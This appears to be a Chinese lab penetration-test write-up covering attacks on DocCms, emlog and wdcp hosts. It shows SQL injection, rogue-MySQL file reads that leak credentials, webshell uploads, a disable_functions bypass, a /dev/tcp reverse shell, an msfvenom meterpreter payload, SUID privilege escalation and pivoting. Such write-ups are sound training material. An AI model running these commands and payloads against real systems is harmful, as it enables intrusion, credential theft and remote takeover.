<返回更多

记一次内网靶场渗透测试

2022-06-15    星云博创
加入收藏

前言

最近在做内网渗透相关姿势点的总结,打了一些靶场,本次内网网络拓扑图如下所示,中等进阶难度。

记一次内网靶场渗透测试

 

测试过程

0x1:信息搜集

访问域名:

记一次内网靶场渗透测试

 

对域名解析的ip进行端口扫描:

nmap -sS --open -Pn -p- -v 192.168.0.122

记一次内网靶场渗透测试

 

网站进行目录扫描和指纹识别发现网站使用的是DocCms 2016 x1.

记一次内网靶场渗透测试

 

0x2:漏洞利用

网上搜索doccms 2016历史漏洞,说搜索功能处参数keyword存在sql注入,使用url二次编码进行绕过。

记一次内网靶场渗透测试

 

成功获取到网站admin账号密码但无法进行解密:

记一次内网靶场渗透测试

 

从网上下载源码,发现/setup/checkdb.php文件可以连接远程的MySQL,所以可以利用mysql的bug读取文件。

记一次内网靶场渗透测试

 

使用Rogue-MySql-Server读取文件:

记一次内网靶场渗透测试

 


http://www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=192.168.0.109&action=chkdb 这里获取到了网站的物理路径。

记一次内网靶场渗透测试

 

查看mysql.log文件,成功读取到/etc/passwd:

记一次内网靶场渗透测试

 

修改server.py文件中读取文件的路径为:

/www/wwwroot/www.ddd4.com/config/doc-config-cn.php

记一次内网靶场渗透测试

 

再次查看mysql.log获取到数据库名称、用户名、密码:

www_ddd4.com

www_ddd4_com

x4ix6ZrM7b8nFYHn

记一次内网靶场渗透测试

 

前面端口扫描发现目标机器的3306端口是开放的,直接进行连接:

记一次内网靶场渗透测试

 

连接成功后,替换网站管理员admin账户的密码,查看admin/login.php,发现对密码使用加密算法进行了加密。

记一次内网靶场渗透测试

 

我们来使用加密算法class.docencryption.php,对123456进行加密。

记一次内网靶场渗透测试

 


4a8dq8y3e7c4a8d09csy9520943dcl64943941se10adc394ujba59abbe5ne057xf20f8y3e7cpwd将加密后的值进行替换。

记一次内网靶场渗透测试

 

使用密码123456登录到后台:

记一次内网靶场渗透测试

 

通过网站查找历史漏洞,可以使用模版来getshell:

记一次内网靶场渗透测试

 


记一次内网靶场渗透测试

 

这里刚开始写入普通的一句话木马,使用蚁剑连接,显示为空,但是查看phpinfo文件并没有将eval函数写入到disable_function当中,换了冰蝎可以连接成功。

记一次内网靶场渗透测试

 

但是无法执行命令,查看disable_function,禁用了很多函数。

记一次内网靶场渗透测试

 

这里使用脚本进行绕过,将文件夹里的.so文件与.php文件上传到网站的目录下面:

记一次内网靶场渗透测试

 

然后访问执行命令:

http://www.ddd4.com/bypass_disablefunc.php?cmd=id&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

记一次内网靶场渗透测试

 

直接使用sh反弹shell,反弹成功但是执行命令无反应:

/bin/sh -i >& /dev/tcp/192.168.0.2/3333 0>&1

记一次内网靶场渗透测试

 

使用matespolite生成木马文件:

msfvenom -p

linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.2 LPORT=4444 -f elf >

/home/kali/Desktop/haha

将木马文件上传到目标主机,赋权后执行:

记一次内网靶场渗透测试

 

msf返回一个meterpreter

记一次内网靶场渗透测试

 

使用Python/ target=_blank class=infotextkey>Python返回一个交互式shell

记一次内网靶场渗透测试

 

查看文件获取到第一个flag

记一次内网靶场渗透测试

 

0x3:提权

使用find进行提权

使用命令find / -type f -perm -u=s 2>/dev/null 发现可以利用find命令来进行提权:

记一次内网靶场渗透测试

 

find . -exec whoami ; -quit 提权成功:

记一次内网靶场渗透测试

 

宝塔提权

翻看文件发现宝塔的账户密码:

记一次内网靶场渗透测试

 

登录到宝塔上,使用计划任务进行提权:

记一次内网靶场渗透测试

 


记一次内网靶场渗透测试

 

成功获取到第二个flag:

记一次内网靶场渗透测试

 

0x4:内网渗透

使用现在的root权限的shell来运行前面我们生产的木马文件,来获取一个meterpreter。

记一次内网靶场渗透测试

 

查看路由和hosts文件,发现存在10.10.10.144主机:

记一次内网靶场渗透测试

 

添加路由:

Run autoroute -s 10.10.10.0/24

Run autoroute -p

记一次内网靶场渗透测试

 

设置代理:

记一次内网靶场渗透测试

 

可以访问http://10.10.10.145:8888说明代理搭建成功。

记一次内网靶场渗透测试

 

使用msf自带的模块对10.10.10.144进行端口扫描,发现开放了21、22、80、8080端口:

记一次内网靶场渗透测试

 

浏览器代理访问www.ddd5.com弱口令进入后台,此站点使用的是emlog,网上搜索历史漏洞,发现后台可以通过上传模版来getshell。

从网上下载一个emlog模版,然后在文件里新建一个php一句话。

记一次内网靶场渗透测试

 

然后将压缩文件进行上传安装:

记一次内网靶场渗透测试

 

上传成功后,一句话文件的位置为
/content/templates/beginning/haha.php。

记一次内网靶场渗透测试

 


http://www.ddd5.com/content/templates/beginning/haha.php?cmd=id来执行系统命令。

记一次内网靶场渗透测试

 

访问8080端口:

记一次内网靶场渗透测试

 

使用默认密码wdlinux.cn无法登录,对目录扫描发现存在phpmyadmin使用默认密码登录成功,查看wdcpdb数据库,获取到admin用户的密码。

记一次内网靶场渗透测试

 

对密码进行md5解密获取到明文密码:

记一次内网靶场渗透测试

 

使用密码进行登录,发现显示登录超时,网上说是时间不同步导致的。

记一次内网靶场渗透测试

 

使用前面的一句话来查看系统当前的时间:

记一次内网靶场渗透测试

 

因为权限不够,无法修改目标机器的时间,但可以修改自己本地系统时间然后成功登录。

搜索wdcp利用方法,发现可以执行系统命令,当前用户为root。

记一次内网靶场渗透测试

 

但是无法使用bash进行反弹,然后考虑的是使用msfvenoom生产一个正向的木马文件,然后执行木马文件来上线msf,最后发现也是不行被拦截。

记一次内网靶场渗透测试

 

在安全管理-->ssh管理处生成密码,并将密钥下载下来:

记一次内网靶场渗透测试

 

利用proxychains使用ssh直接连接获取第三个falg。

记一次内网靶场渗透测试

 

总结

在测试过中发现,doccms后台也可以使用写入配置文件来拿shell,然后在绕过disable_functions 时,刚开始想的是直接使用蚁剑的插件来绕过,但失败了,只好手工来绕过disable_functions,也学习了WDCP的利用方法。

声明:本站部分内容来自互联网,如有版权侵犯或其他问题请与我们联系,我们将立即删除或处理。
▍相关推荐
更多资讯 >>>